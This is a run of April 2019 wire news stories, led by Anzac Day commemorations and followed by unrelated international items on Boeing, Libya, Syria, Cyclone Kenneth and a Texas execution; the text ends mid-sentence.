with the sun high in the sky and flags at half mast, 10,000 people watched the Anzac Day march. In his final Anzac Day address, Governor-General Sir Peter Cosgrove told veterans: "You matter. What you did matters." Sir Peter sought to explain to youngsters and service first-timers the significance of the day, and what brings people back year after year. "In the gamut of motives from the profoundly philosophical to simple curiosity, there is a fundamental reason," he told the crowd. "It is by our presence to say to the shades of those countless men and women who did not come home or who made it back but who have now passed and to say to their modern representatives, the ones around the nation who today march behind their banners. "You matter. What you did matters. You are in our hearts. Let it be always thus." The former defence force chief said marching veterans passed on a silent message when catching the gaze of someone in the crowd. "We did it for our nation, for what Australia stands for, we did it for you," he said. "Let it be always thus." More than a dozen wreaths were laid following Sir Peter's address, including by government minister Simon Birmingham on behalf of Prime Minister Scott Morrison. Sir Peter will be replaced by current NSW Governor David Hurley when his five-year commission comes to an end in June. Hobart has hosted some international guests on Anzac Day, with freedom fighters from East Timor joining the city's traditional march through city streets. The visiting contingent was among a diverse group which moved through the capital to the Cenotaph on Queens Domain on Thursday. "They're a lovely bunch of people, but they can't speak much English," Tasmania's acting RSL president Geoff Leitch told AAP of the group who are on a pilgrimage across Australia. Mr Leitch, who in 2019 marks 50 years since he joined the navy and 30 years since he left, stood alongside Tasmanian Governor Kate Warner on Thursday to inspect the march as it passed Town Hall. His own military service took him to Vietnam in 1970 and he left the navy just a few months before the Gulf War of 1990. "Service used to be based on which conflicts or wars you were involved in, but these days there is no reprieve for young service people who are regularly away from home representing Australia," Mr Leitch said. About 2500 people attended Hobart's dawn service and Premier Will Hodgman later paid tribute to the 15,484 Tasmanians who enlisted in World War I and the 2432 who were killed. "Today is our chance to also pay tribute to those who continue to serve in numerous conflicts around the world to protect our freedoms," he said in a statement. A schizophrenic man has faced court accused of murdering a woman whose body was found in Melbourne's Chinatown. Christopher Allen Bell, 32, is charged with killing 32-year-old Natalina Angok from Geelong, whose body was found early yesterday at the corner of a dead-end laneway. Bell sat in the dock of Melbourne Magistrates Court on Thursday with a lowered head as his lawyer Steven Pica said the accused had been un-medicated for a long time. He had been released from a mental inpatient facility "only a week ago", after staying for a week, the court was told. Magistrate Cathy Lamble said he was a "diagnosed schizophrenic" who needed to take the antipsychotic drug Seroquel. "His mental health needs should be assessed as soon as possible," she said. He will be kept in custody to appear in the same court on Friday for a filing hearing. Police are yet to release the results of an overnight autopsy which they'd hoped would confirm Ms Angok's cause of death. She was found at the intersection of Little Bourke Street and Celestial Avenue just after 6.30am on Wednesday. Detectives quickly declared her death suspicious after a passerby found her lifeless. Lifeline 13 11 14 beyondblue 1300 22 4636 Australians in London are moved that the centenary of soldiers returning from the First World War is being used to focus on the suffering of those who came home. About 2000 Australians, New Zealanders and British turned out to the Anzac Day Dawn Service at the Australian and New Zealand war memorials at Hyde Park Corner on Thursday. Australian High Commissioner George Brandis told the crowd 2019 marked the centenary of most servicemen coming home from the World War One. "The cost in lives sacrificed on the battlefield, massive though it was, was not the only human cost, for most of those who returned home would never be the same again," Mr Brandis said. "So many who survived the fighting returned to their families with injuries which would haunt their days and shorten their lives. "For both of our nations, Australia and New Zealand, the 1920s were a blighted decade, though so much of suffering went unobserved, borne with grim fortitude behind the doors of quiet suburban homes and peaceful farms. "The physical injuries were manifest and in most cases they would heal. What was not visible or even understood was the mental suffering of so many of those who returned." Brisbane local Melanie Roylance, aged 54, attended the London service to remember family members who fought and died, including her own father, who died of complications years after his World War Two service. Ms Roylance said focusing on not just the individuals who died, but also the broken ones who returned and their families, put a human face on Anzac Day. "We've got relatives who came back with severe gunshot wounds and who were disfigured. One fellow was hit by machine gun fire across his face so he was badly disfigured, so he was shunned by people," she told AAP. "People would see him in the street and look away. Even though they knew what had happened to him and why, he was still shunned by the society that he had gone off to support. "So I think it's important that people think about those aspects these days rather than just people charging the hill at Gallipoli, there's a lot more to the war than people think." Sydneysiders Sue and Keith Creighton, aged 60 and 63, are on holiday in the UK and attend a Dawn Service every year no matter where they are as part of Mr Creighton's birthday, which falls on April 25. Mr Creighton said the soldiers' return was a good new focus, as their suffering had been overlooked in the past. "It was bit forgotten back then, it wasn't considered but now that it is, that's a good thing," he told AAP. Ms Creighton added: "We've all got connections with those people with shattered lives and the families that tried to carry them through and struggled with it." Mr Brandis said afterwards that it was moving to see so many Australians, Kiwis and Brits at the service, which does not fall on a public holiday in the UK. The arrest of a suspected terrorist in Turkey has clouded this year's Anzac Day commemorations but failed to deter the crowds paying their respects at services throughout Australia. Prime Minister Scott Morrison played down reports of a potential plot to target Anzac services at Gallipoli, which went ahead amid already tightened security. A suspected Islamic State member who was reportedly planning an attack was arrested in the Turkish province of Tekirdag, three hours from the Gallipoli peninsula. Mr Morrison said reports received by the government about any link between the arrest and the Gallipoli service were inconclusive. "This is more of a routine thing that we've seen happen with Turkish authorities and we could not say at all that there is any link between that arrest and any planned event at Gallipoli," he reporters in Townsville. More than 1400 Australians and New Zealanders attended the dawn service at Gallipoli. New Zealand's parliamentary speaker Trevor Mallard told them Anzac Cove held a special place "in the hearts of all of us". "And it informs our rejection of extremism and of terrorism, whether it occurs in Turkey, in Australia, in New Zealand or in Sri Lanka," Mr Mallard said. Last month's terror attack in Christchurch, where an Australian gunman killed 50 people at two mosques, loomed over this year's commemorations in New Zealand. Prince William laid a wreath at an Anzac Day service in Auckland before heading to Christchurch to visit survivors of the Christchurch mosque attacks and thank emergency staff. Heightened security was evident at major services in Australia on the 104th anniversary of the Anzacs' landing at Gallipoli, although those measures were put in place before the Syrian man's arrest in Turkey. Australian War Memorial director Brendan Nelson praised Turkish authorities, who evacuated and searched the Gallipoli site before the dawn service. "The Turkish authorities went to extraordinary lengths to see that the Gallipoli peninsula was secure for the Anzac Day services that are being held there," Dr Nelson said. There was a minor security incident at a dawn service in South Australia, with police arresting a man carrying an axe and a knife in his bag at Henley Beach. Mr Morrison and Labor leader Bill Shorten paid tribute to veterans at Anzac Day commemorations in Townsville and Darwin, pausing their campaigns in the lead-up to the May 18 federal election. Delivering his final Anzac Day address at the Australian War Memorial in Canberra, outgoing Governor-General Sir Peter Cosgrove told veterans: "You matter. What you did matters. You are in our hearts. Let it be always thus." For many, Anzac Day is about paying respects and commemorating the fallen, but for veterans it's also a chance to reconnect with war mates and share stories from the battlefield. Thousands of people turned out across NSW on Thursday to pay their respects to past and present soldiers. The heart of Sydney stood still in the pre-dawn darkness as 5000 people gathered around the Cenotaph at Martin Place for the annual dawn service. Major General Greg Bilton from the Australian army said the arrival of young soldiers on the shores of Gallipoli under the cover of darkness on April 25, 1915 was a seminal event in the nation's history. "It's both reassuring and significant that ... groups of Australians, young and old, have chosen to gather in the dark, noiselessly, just as those young men did," he told the crowd. The service was attended by NSW Premier Gladys Berejiklian, Governor David Hurley, Deputy Prime Minister Michael McCormack and interim NSW Opposition leader Penny Sharpe. Thousands of spectators later lined Sydney's Elizabeth Street to watch nearly 13,000 current and past servicemen and women and their relatives march to Hyde Park. Walter Tuchin, 95, was cheered on by more than a dozen children, grandchildren and great-grandchildren. The 95-year-old is one of the few members of the 24 Squadron of the Royal Australian Air Force who is still alive. Mr Tuchin, who made his way down the route in a wheelchair pushed by his son, was just shy of 18 when he signed up to serve in World War II. He said it was "just marvellous" to meet up with those he served with each Anzac Day. Katie Thorburn, 22, who's been in the navy for five years, said Anzac Day was her favourite day of the year. "It's the one day that's contributed to veterans everywhere, which is really lovely, and I love meeting the veterans," Ms Thorburn said. While for some Anzac Day involves a sombre march, for others it's all about heading to the pub for a raucous afternoon of two-up. It's become a tradition for Emily Myers and her group of friends to hit Sydney's Australian Heritage Hotel. Ms Myers, crammed among hundreds of punters around the stage watching coins being tossed in the air, says Anzac Day is the best day of the year. "You go to the dawn service, have bacon and egg rolls in the morning and then you come and play some two-up and everyone is in such good spirits," she told AAP. NSW Police Acting Assistant Commissioner Tony Cooke said most people showed respect towards each other and service personnel on Thursday but there were a few isolated incidents officers had to deal with. A 26-year-old man was arrested for allegedly throwing beer cans at police during the Martin Place dawn service. He was charged with offensive behaviour and resisting arrest and is due to appear at Downing Centre Local Court on May 15. Queensland State of Origin hopeful Ben Hunt has suffered a shoulder injury in St George Illawarra's Anzac Day NRL clash with the Sydney Roosters. Hunt left the field late in the second half at the SCG, as the Dragons attempted to mount a comeback from 14-0 down at the break. The possible Maroons No.9's injury came as Jake Friend starred on return from his own shoulder injury for the Roosters, kicking a 40-20 and denying Hunt a try close to the line. Plans to apparently redevelop the Bali site where 202 people were killed in a bombing is "deeply distressing", Prime Minister Scott Morrison says. Local Bali authorities have granted a permit for a five-storey restaurant and monument on the site of the Sari Club, where 88 Australians were among those killed in a car bomb attack in 2002, the ABC reported. The move has upset survivors of the attack, who have been working for years to turn the land into a peace park. "Australia provided support and funding to establish a Peace Park on the ex-Sari Club site, for remembrance and quiet reflection," Mr Morrison said on Twitter on Thursday evening. "The Australian government will continue to work with the Indonesian authorities to seek to resolve this issue and ensure the memories and families of all those who were murdered in that shocking terrorist attack are properly respected." The consul-general in Bali, Helena Studdert, has been working tirelessly to resolve the issue, the prime minister said. Survivors told the ABC they had been given reassurances the site would never be used for commercial purposes. Buenas noticias, amigos espanoles! Announced this morning: Spain has been confirmed as the fourth country to host The Pink Floyd Exhibition: Their Mortal Remains, the magnificent and critically acclaimed major retrospective of Pink Floyd, their music and the impact the band had on art and culture. Following its hugely successful debut at Londons Victoria and Albert Museum in 2017, which saw over 400,000 people attend, the exhibition will now take residency in Madrid, Spain's capital city. The exhibition will open on May 10th 2019 at the internationally recognised IFEMA the Trade Fair Institution of Spain, the home of the very successful "Harry Potter: The Exhibition" and "Banksy: Genius or Vandal?". It is due to run until September 15th 2019. IFEMAs Espacio 5.1 should be the perfect venue for the immersive experiential journey through Pink Floyd's world, from high-tech audio visual events, objects, and surreal landscapes, to culture explosions that evolve throughout the exhibition. Tickets for the exhibition have just gone on sale via StubHub and as before, advance booking is highly recommended as popular times and dates will no doubt sell quickly. Opening hours each week for the exhibition are Tuesday Sunday, 11:00am 10:00pm (last entry: 8:30pm), and admission costs are 9.90 EUR - 19.90 EUR (plus applicable fees), with the excellent audioguide included in the price. For more information about the exhibition, either check out the various articles here on Brain Damage, or visit www.pinkfloydexhibition.es. Members of the Syrian Civil Defence, also known as the "White Helmets", search the rubble of a collapsed building following an explosion in the town of Jisr al-Shughur, in the mostly rebel-held Syrian province of Idlib, on April 24, 2019 A powerful explosion Wednesday killed 18 people including more than a dozen civilians in jihadist-held northwest Syria, a war monitor said, as rescuers searched for people trapped under the rubble. An AFP reporter at the scene saw a building of at least four storeys that had collapsed in the town of Jisr al-Shughur in Idlib, a region controlled by Syria's former Al-Qaeda affiliate. One opposite had partially caved in while surrounding buildings appeared on the verge of collapse. A civil defence worker eased himself under a massive slab of fallen concrete to search for victims, as three colleagues crouched by his side to help. Fifteen civilians were among those killed in the blast, the cause of which was not immediately clear, according to the Syrian Observatory for Human Rights, a Britain-based monitoring group. "The explosion hit next to the market," Observatory chief Rami Abdel Rahman said. The daughter of a Turkestani fighter was among those killed, he said. Abdel Rahman earlier said the explosion could have been the result of a car bomb or a vehicle carrying explosives that detonated. But bystanders and the head of the local civil defence unit, Abdelwahab al-Abdu, said they did not know what caused it. Abdu said the civilians had died in "an explosion of unknown origin". Abu Ammar, a father of two, told AFP he felt the "huge" blast from his home about 50 metres (yards) away. "We ran to the place of the explosion and saw the rescue teams trying to pull out the wounded," he said. There were "people still alive under the rubble, and lots of body parts on the ground." Rescue personnel were seen directing bulldozers to clear rubble from a road. The Idlib region is under the administrative control of Hayat Tahrir al-Sham (HTS), which is dominated by a faction previously known as Al-Nusra Front before renouncing its ties to Al-Qaeda. The Turkestan Islamic Party, a group of foreign jihadists from the ethnic Uighur Muslim minority, also has a large presence in Jisr al-Shughur. The Islamic State jihadist group has sleeper cells in the wider Idlib region. Idlib has since September been protected from a massive regime offensive by a fragile ceasefire deal signed by Damascus ally Russia and rebel backer Turkey. But the region of some three million people has come under increasing bombardment since HTS took full control of it in January. On Tuesday, regime shelling killed seven civilians, including four children, in the town of Khan Sheikhun. Increased regime shelling on Khan Sheikhun has sparked one of the largest waves of displacement since the September deal. Syria's war has killed more than 370,000 people and displaced millions since the conflict began with the repression of anti-government protests in 2011. Boeing reported a drop in first-quarter profits due to increased costs associated with the 737 MAX grounding Aviation giant Boeing has suffered a $1 billion hit to its bottom line amid the crisis over its 737 MAX aircraft, grounded worldwide after two deadly crashes, the company said Wednesday. In its first quarterly earnings report since entering crisis mode, Boeing also withdrew its 2019 profit forecast due to continued uncertainty about when the grounded jets will return to the skies. Boeing has been under scrutiny since the March 10 crash of an Ethiopian Airlines jet, which along with an October Lion Air crash, claimed 346 lives. Regulators grounded the plane worldwide following the second crash, a move that also forced the company to halt new deliveries of its most-ordered plane, denting revenues. Company executives sketched out the steps needed to return the 737 MAX to service -- including a fix to the flight software system implicated in the crashes -- but offered no timetable. Asked pointedly during a conference call with analysts for an explanation of what happened, the executives defended Boeing's design and engineering practices despite negative news exposes criticizing the company's operations and commitment to safety. "I can tell you with confidence that we understand our airplane, we understand how the design was accomplished, how the certification was accomplished and we remain fully confident in the product that we put in the field," Chief Executive Dennis Muilenburg said in a conference call with analysts. "There was no surprise, or gap or unknown here, or something that somehow slipped through a certification process." But Muilenburg acknowledged the need to win back public trust and said the firm would enlist the help of pilots to reassure anxious customers, adding that "the bond between the passenger and the pilot is one that is critical." Key figures from Boeing first quarter results for 2019, the first financial indicator since the grounding of its 737 MAX plane following an Ethiopian Airlines crash in March The company's share price climbed following the earnings report, reflecting relief that the financial damage from the 737 MAX crisis was not worse. Given Boeing's size, the financial hit to the company has been "modest so far," S&P Global Ratings said, but warned that the cash drain will continue until the company can resume deliveries. - Higher costs - Boeing took a $1 billion hit in the first quarter, but may face additional costs, including compensation for airlines that had to cancel fights The US aerospace giant reported $2.1 billion in profits in the first quarter, a decline of 13.2 percent from same period a year ago due in part to the $1 billion hit from the 737 program. Revenues dipped 2.0 percent to $22.9 billion. Boeing also pulled its full-year profit forecast, citing "uncertainty of the timing and conditions surrounding return to service of the 737 MAX fleet." The company in January projected higher earnings per share compared with last year, based on an expected revenue jump of as much as 10 percent. The $1 billion hit in the quarter is the result of higher costs associated with maintaining the 737 building program and its staffing after Boeing cut production of the planes. The company also spent additional funds in the quarter on a software fix to address problems in the anti-stall system believed to be a factor in both crashes, and for training associated with the fix. Boeing said it is close to rolling out the software fix to the flight system believed to be a factor in both 737 MAX crashes The estimates do not include other expected costs, such as compensation to airlines for canceled flights, executives said. The company could also face costs from government probes and settlements with victims' families. "We may also experience claims or assertions from customers and/or suppliers in connection with the grounding," Boeing said in a securities filing, adding that it was "unable" to estimate such costs at this time. Muilenburg said advance payments from customers for new 737 MAX, which represent a small portion of the overall price-tag, are "for the most part coming in per schedule." - Numerous government probes - Boeing said it is "making steady progress" on the software fix and has conducted more than 135 test flights as it works with global regulators and airlines on the system. But as of Tuesday night, the company still had not filed a formal certification request to the US Federal Aviation Administration, a source said. Boeing said it will focus on earning back the trust of consumers, by focusing on pilots After submitting the request, the next step will be to conduct a certification flight with the US Federal Aviation Administration, and then the company will need to win approval from international regulators, Muilenburg said. Boeing is hoping to finalize regulatory approval by the end of May for its fix and to have the planes cleared to fly in July, according to a source familiar with the situation. Despite the crisis, many analysts are optimistic about Boeing's long-term prospects, given robust global aerospace demand. They expect Boeing will be successful in addressing the 737 MAX's problems allowing the plane to return to service and continue to command the interest of airlines. However, some caution that Boeing's reputation has been damaged by the crisis that could deteriorate further with any additional missteps. Boeing shares rose 0.4 percent to close the day at $375.46. The offensive on the Libyan capital Tripoli has left 264 dead and more than 1,200 wounded, UN figures show Libyan Prime Minister Fayez al-Sarraj, head of the internationally-recognised government in Tripoli, angrily denounced France on Wednesday for supporting rival Khalifa Haftar, underlining the growing diplomatic tensions over the recent fighting there. Speaking to French daily Liberation, Sarraj denounced Paris for backing a "dictator," in his harshest criticism yet of French diplomacy. France has long been suspected of backing to Haftar, a former army field marshal based in eastern Libya who heads the self-styled Libyan National Army (LNA) and who has gradually expanded his territory. On April 4, Haftar launched a drive towards Tripoli where Sarraj's UN-recognised government is based, triggering fighting that has claimed 264 lives and left more than 1,200 wounded. "We are surprised that France does not support our government that is democratic, but supports a dictator," Sarraj told Liberation. "When (French President) Emmanuel Macron called me, I warned him that public opinion was against France. We don't want Libyans to hate France. France still has a positive and important role to play," he said. In a separate interview with the Le Monde newspaper on Monday, Sarraj said France was partly to blame for Haftar's offensive on Tripoli. "The disproportional support from France towards Haftar is what made him decide to take action and abandon the political process," he said. France publicly denies supporting Haftar. It says it has contact with all the actors in war-ravaged Libya where a complex mosaic of militias and political factions are competing for advantage. - 'A big shock' - UN special envoy for Libya Ghassan Salame, speaking in Rome Wednesday, said he hoped meetings he had with opposing parties on the ground would "bear fruit" before the start of the Muslim fasting month of Ramadan on May 5. Salame, at a press conference with Italian Foreign Minister Enzo Moavero Milanesi, did not hide the difficulties involved in resolving the conflict. Last year, Khalifa Haftar attended a major peace conference of the various Libyan factions in Paris, which also helped legitimise him on the international stage "I am as concerned by the fighting on the ground as I am by the divisions within the international community," he said. France has long had links with Haftar, who was invited to Paris alongside Sarraj in 2017 in what was seen as an ambitious gamble by Macron shortly after he was elected president. That marked the beginning of Haftar's appearance on the international stage. Last year he was invited back to Paris for a major peace conference of the various factions which helped legitimise him. "The two invitations from President Macron completely changed the image and positioning of Haftar," Virginie Collombier, an academic specialising in Libya at the European University Institute in Florence, told AFP. - 'High-stakes affair' - The strongman's bold move on Tripoli three weeks ago appeared to have taken the international community by surprise, but raised questions about possible French complicity -- an idea firmly dismissed by Paris. "It was a big shock," said a diplomatic source at the foreign ministry, insisting France had "no prior knowledge" of the offensive. Haftar's campaign began barely two weeks after French Foreign Minister Jean-Yves Le Drian met him in his eastern stronghold of Benghazi during a ministerial trip on which he also met Sarraj. Michel Duclos, a former ambassador who advises the Paris-based think tank Institut Montaigne, said it is "a high-stakes affair for French diplomacy. It has given the impression in recent years of compromising with a dictator in the making". The fighting erupted after Haftar's forces began moving towards Tripoli on April 4, prompting forces loyal to the internationally-recognised Government of National Accord to retaliate Collombier from the European University Institute said France's proximity to Haftar meant it had "lost all credibility with some of the actors in Libya" and had also caused strains with EU partner Italy. Rome has reacted with fury to what is perceived as a powergrab by Macron in Libya, a former Italian colony, diplomats say. Speaking in Paris on Wednesday, Le Drian urged both Sarraj and Haftar to "stick to the agreement" reached in Abu Dhabi in February, referring to talks between them at which they agreed to work towards organising elections. - Bulwark against Islamists? - Haftar is increasingly seen by his allies, which include Russia and Egypt, as a bulwark against Islamists who gained a foothold after the 2011 uprising that ousted dictator Moamer Kadhafi. Haftar won overt backing from US President Donald Trump last week too. The White House said Trump "recognised Field Marshal Haftar's significant role in fighting terrorism and securing Libya's oil resources" during a phone call between the two men. That came a day after Russia and the United States opposed a British bid at the UN Security Council, backed by France and Germany, to demand a ceasefire in Libya. John William King (C) is pictured in 1999 after being sentenced to death for the brutal murder of a black man An avowed white supremacist convicted of a notorious racist murder -- chaining a black man to the back of a pickup truck and dragging him to his death -- was executed on Wednesday in the US state of Texas. John William King, 44, was put to death by lethal injection at 7:08 pm Central Time (0008 GMT Thursday) at the Texas State Penitentiary in Huntsville, Texas. King was one of three white men convicted of carrying out the 1998 murder of James Byrd Jr., one of the most gruesome racist killings in recent US history. Lawrence Brewer was executed in 2011 while Shawn Berry -- who cooperated with investigators -- was given life in prison. Berry testified during his trial that he and the two others were out drinking beer and cruising in a 1982 Ford pickup truck when they picked up Byrd, who was hitchhiking, and drove him to a remote country road. The men severely beat the 49-year-old Byrd before chaining him by his ankles to the back of the truck. Convicted murderer John King (C) being escorted into the Jasper County Courthouse for the penalty phase of his murder trial in February 1999 Byrd was alive for some two miles (3.2 kilometers) while being dragged along the road, a pathologist testified during King's trial. He was decapitated when his body hit a concrete drain pipe, the pathologist said. Byrd's dismembered body was found outside a black church in the small town of Jasper, Texas, near the border with Louisiana. The killing horrified the US public and kindled memories of the era of racist lynchings of African Americans in the South. Ten years after King's conviction, president Barack Obama signed a law aimed at preventing hate crimes which was named after Byrd and Matthew Shepard, a young gay man murdered the same year. - 'Modern-day lynching' - In a request for a stay of execution filed with the Supreme Court late Tuesday -- which was ultimately denied -- King's lawyer, A. Richard Ellis, claimed that King's attorney during his 1999 trial ignored his request to plead not guilty. Convicted murderer John King, pictured in 2017, was executed by lethal injection in the US state of Texas "From the time of indictment through his trial, Mr King maintained his absolute innocence, claiming that he had left his co-defendants and Mr Byrd some time prior to his death and was not present at the scene of the victim's murder," Ellis said. "Despite Mr King's explicit and repeated requests, his counsel conceded his guilt to murder at trial." Repeated efforts to have King's conviction overturned had failed, with the Supreme Court refusing to examine the case in 2018. On Monday, the Texas Board of Pardons and Paroles unanimously refused to grant him a reprieve. During the sentencing phase of King's trial, his attorneys argued that prison violence had compelled him to hook up with a white prison gang. "He wasn't a racist when he went in, he was when he came out," said his attorney, H. "Sonny" Cripps. King's body is covered with racist tattoos proclaiming "Aryan Pride" and his allegiance to the Ku Klux Klan and a racist group known as the Confederate Knights of America. One tattoo is of a black man hanging from a noose. The 1999 death sentence for King was the first in Texas since the 1970s handed to a white man for killing a black man. Two of Byrd's sisters and a niece witnessed King's execution, the fourth so far this year in the United States. "Today, we witnessed the peaceful and dignified execution of John King for the savage, brutal murder of James on June 7th 1998, really a modern-day lynching," Carla Byrd Taylor -- one of the victim's sisters -- said in a statement she read after the execution. "King showed no remorse then and no remorse tonight. His execution is a just punishment for his actions," said Taylor. Map showing the path of tropical storm Kenneth which threatens Mozambique just weeks after it was ravaged by cyclone Idai Violent winds caused landslides and flooding and cut off roads in Comoros in the vanguard of tropical storm Kenneth, set to hit Wednesday evening before heading to recently cyclone-ravaged Mozambique, officials said. As the storm neared, schools were closed and inter-island hopper flight suspended. Chief of the Comoros Centre for Relief and Civil Protection Centre (COSEP) Mouigni Daho said the arrival of the cyclone on the island was preceded by strong winds and floods. There have been no reports of injuries. Comoros Interior Minister Mohamed "Kiki" Daoudou urged citizens Wednesday to "stay calm and follow the instructions." After Comoros, Kenneth is expected to reach the far north of Mozambique late Thursday or early Friday, if it stays on its current course. This comes a month after cyclone Idai ravaged the country and neighbouring Zimbabwe, claiming some 1,000 lives and causing about $2 billion in damage, according to the World Bank. The Mozambique National Meteorology Institute (INAM) warned in a statement that the storm system was intensifying. "The severe tropical storm has intensified in the past few hours into a Category Three tropical cyclone, and forecasts project that the cyclone could intensify to a Category Four on April 25," it said. kenneth comes a month after cyclone Idai ravaged Mozambique (pictured March 2019) and neighbouring Zimbabwe, claiming some 1,000 lives and causing about $2 billion in damage Heavy rains and winds of up to 140 kilometres per hour (87 miles per hour) would follow, it added. Mozambique's National Institute of Disaster Management (INGC) cautioned Wednesday that 692,000 people could be affected. The INGC said it would relocate rescue equipment, including boats and helicopters previously reserved in Sofala province for victims of Idai, to Cabo Delgado where Kenneth is expected. "We have water, we have a generator, we are prepared. We've done everything we were told to," said a hotel owner in the small town of Mucojo which is projected to be close to the eye of the cyclone. - 'Concerned' - A woman walks through a camp for displaced people in Nhamatanda district in Mozambique on April 15, 2019 where 8,465 people have been displaced "We've learned with Idai that it's a good strategy to allocate the rescue means before the cyclone..." Augusto Maita, general director of INGC told AFP. The province of Cabo Delgado, bordering Tanzania, is also dealing since 2017 with a wave of deadly violence attributed to a jihadist group that advocates the application of Islamic law. Volunteers of the Red Cross and Red Crescent, who had assisted in cyclone Idai rescue efforts, said teams were already "on alert". "We are concerned about the impact that this storm could have across the three countries," regional director for Africa for the International Federation of Red Cross and Red Crescent Societies (IFC), Dr Fatoumata Nafo-Traore said. "We are especially concerned about its possible impact in Mozambique where communities are still recovering from the devastation of Cyclone Idai," she said. In Mozambique alone, Idai killed more than 600 people and affected 1.85 million, while over 340 died in Zimbabwe. "Typically cyclones occur in the rainy season which is already over. This cyclone at the end of April is unusual," Comoros environment ministry expert Youssouf Hamadi told AFP. "It confirms the increasing intensity and frequency of cyclones in the Indian Ocean" -- a phenomenon some blame on global warming. The aftermath of an airstrike by the Saudi-led coalition in Yemen French authorities have opened an investigation into the leaking of a classified military note which revealed French weapons are being used by the United Arab Emirates and Saudi Arabia in Yemen, sources told AFP on Wednesday. The note details the use of weapons -- including tanks, artillery and military ships -- in the war against Huthi rebels. The use of French weapons in Yemen appears to contradict previous public statements from France's government. The classified 15-page note from the French military intelligence service, published in April by new investigative media outlet Disclose, concluded that the UAE and Saudi Arabia had deployed French weaponry. The note -- provided to the government in October 2018, according to Disclose -- said 48 CAESAR artillery guns manufactured by the Nexter group were being used along the Saudi-Yemen border. Leclerc tanks, sold in the 1990s to the UAE, have also been used, as have Mirage 2000-9 fighter jets, while a French missile-guiding technology called DAMOCLES might have been deployed, according to the assessment. Cougar transport helicopters and the A330 MRTT refuelling plane have also seen action, and two French ships are serving in the blockade of Yemeni ports which has led to food and medical shortages, the DRM military intelligence agency concluded. Under pressure for years by rights groups over the sales, the Paris government has always insisted that the arms are only used in defensive circumstances to deter attacks by the Huthis. The investigation into the "compromise of national defence secrecy" was launched by prosecutors on December 13 last year after a complaint by the armed forces ministry, a judicial source said. France's domestic intelligence agency, the DGSI, is leading the inquiry, which concerns the compromise of information involving a government employee and a third party, the source said. - 'Attack on press' - France, the third-biggest arms exporter in the world, counts Saudi Arabia and the UAE as loyal clients in the Middle East and has resisted pressure to stop the arms trade -- unlike Germany, which has suspended sales. Rights groups have regularly accused Paris of being complicit in alleged war crimes committed in Yemen where around 10,000 have died and millions have been forced to the brink of starvation. The UAE and Saudi Arabia, which own billions of dollars' worth of weapons bought from the United States, France and Britain, intervened in 2015 to support the Yemeni government against Huthi rebels, which are backed by rival Iran. The UN calls the situation in the war-torn country the world's worst humanitarian crisis. Experts have concluded that all the warring parties have violated international humanitarian law. "The confidential documents revealed by Disclose and its partners are of major public interest, that bring to the attention of citizens and their representatives what the government wanted to conceal," said an editorial for Disclose and its partners. Disclose worked with several media organisations including public broadcaster France Info, online brand Mediapart and Franco-German television channel Arte. The founder of Disclose, Geoffrey Livolsi, told AFP that at least three journalists who took part in the investigation have been called in for a hearing conducted by the DGSI next month. "This judicial investigation has only one objective: to know the sources that allowed us to do our job. It is an attack on the freedom of the press and the protection of the sources of journalists," Livolsi said. French Armed Forces Minister Francoise Parly said during an interview in January on the France Inter radio station: "I'm not aware that any (French) arms are being used in this conflict." Iranian Foreign Minister Mohammad Javad Zarif has proposed a prisoner swap involving a detained British-Iranian dual national Iran's foreign minister on Wednesday proposed a prisoner swap for a British-Iranian mother detained in Tehran, saying the United States should drop charges against an Iranian woman it is seeking in Australia. Britain has been trying unsuccessfully to free Nazanin Zaghari-Ratcliffe, a dual national who worked for the Thomson Reuters Foundation and was arrested in 2016. Foreign Minister Mohammad Javad Zarif drew a parallel to Negar Ghodskani, an Iranian woman who was arrested by Australia in 2017 and separated from her newborn child as the United States asks for her extradition. "We hear about Nazanin Zaghari and her child and I feel sorry for them and I've done my best to help," Zarif said at the Asia Society in New York, where he was participating in a UN session. "But nobody talks about this lady in Australia who gave birth to a child in prison, whose child is growing up outside prison with the mother in prison," he said. "I put this offer on the table publicly now -- exchange them," he said. While likening the cases of the two women, Zarif proposed a broader exchange for Iranians held or sought by the United States. "I'm ready to do it. I have authority to do it," said Zarif, who has frequently insisted that Iran's judiciary is independent when asked about controversial detentions. Zaghari-Ratcliffe's family said she was visiting Iran to see relatives for the Persian New Year with her toddler daughter when she was arrested in 2016. Iranian authorities accused her of plotting against the government and handed her a five-year jail sentence for sedition, with her daughter in the care of Iranian grandparents. Britain has taken the unusual step of granting her diplomatic protection in a bid to free her. Ghodskani, a legal resident of Australia, was arrested after US prosecutors said she sought US digital communications technology by presenting herself as an employee of a Malaysian company. US prosecutors said she in fact was sending the technology to Iranian company Fanamoj, which works in public broadcasting. Under sweeping sanctions the United States has imposed to squeeze the clerical regime, Fanamoj has been targeted for alleged links with the country's missile program. According to an article last year in The Australian newspaper, a counsel for the United States said Ghodskani was allowed to see her baby two hours a day on weekdays and 80 minutes a day on weekends. US Senator Bernie Sanders is leading calls to rethink the alliance with Saudi Arabia Leading Democrats voiced horror and called for a rethink of the US alliance with Saudi Arabia on Wednesday after mass executions, while President Donald Trump's administration expressed only indirect concern. Saudi Arabia on Tuesday beheaded 37 citizens, nearly all from its Shiite minority, with one crucified after death and the UN saying that at least three were minors when charged. Senator Bernie Sanders, who is seeking the Democratic nomination for president, said the mass execution "underscores how urgent it has become for the United States to redefine our relationship with the despotic regime in Saudi Arabia." Sanders said the United States should "show that the Saudis do not have a blank check to continue violating human rights and dictating our foreign policy." Senior Democratic Senator Dianne Feinstein said she had already called for the United States to "reconsider our relationship with Saudi Arabia" after the October killing and dismembering of US-based journalist Jamal Khashoggi in the kingdom's Istanbul consulate. "These latest reports reinforce my concerns. We can't look way from Saudi Arabia's increased use of executions, particularly when so many questions surround the validity of the trials," she tweeted. There was no immediate reaction from Trump, who vowed to preserve warm relations with Saudi Arabia even after Khashoggi's murder. Asked about the executions, the State Department said that Secretary of State Mike Pompeo has raised human rights with Saudi leaders in "every instance" when there were concerns. "We urge the government of Saudi Arabia, and all governments, to respect and protect human rights and fundamental freedoms, ensure fair trial guarantees, transparency, freedom from arbitrary and extrajudicial detention, and freedom of religion and belief," a State Department spokeswoman said. The spokeswoman did not comment directly on the executions but said the United States opposed capital punishment in cases when the defendant was a minor at the time of arrest of alleged offense. The Trump administration has hailed Saudi Arabia as a valuable partner due to its extensive purchases of US weapons, vast oil reserves and shared hostility to Iran. The United States is the only Western nation that still practices capital punishment. US troops lay concertina wire along the Gateway International Bridge in Brownsville, Texas US border patrol agents found a crying three-year-old boy in a Texas cornfield on Tuesday with his name and a phone number written on his shoes, the US Customs and Border Protection (CBP) agency said Wednesday. The boy was 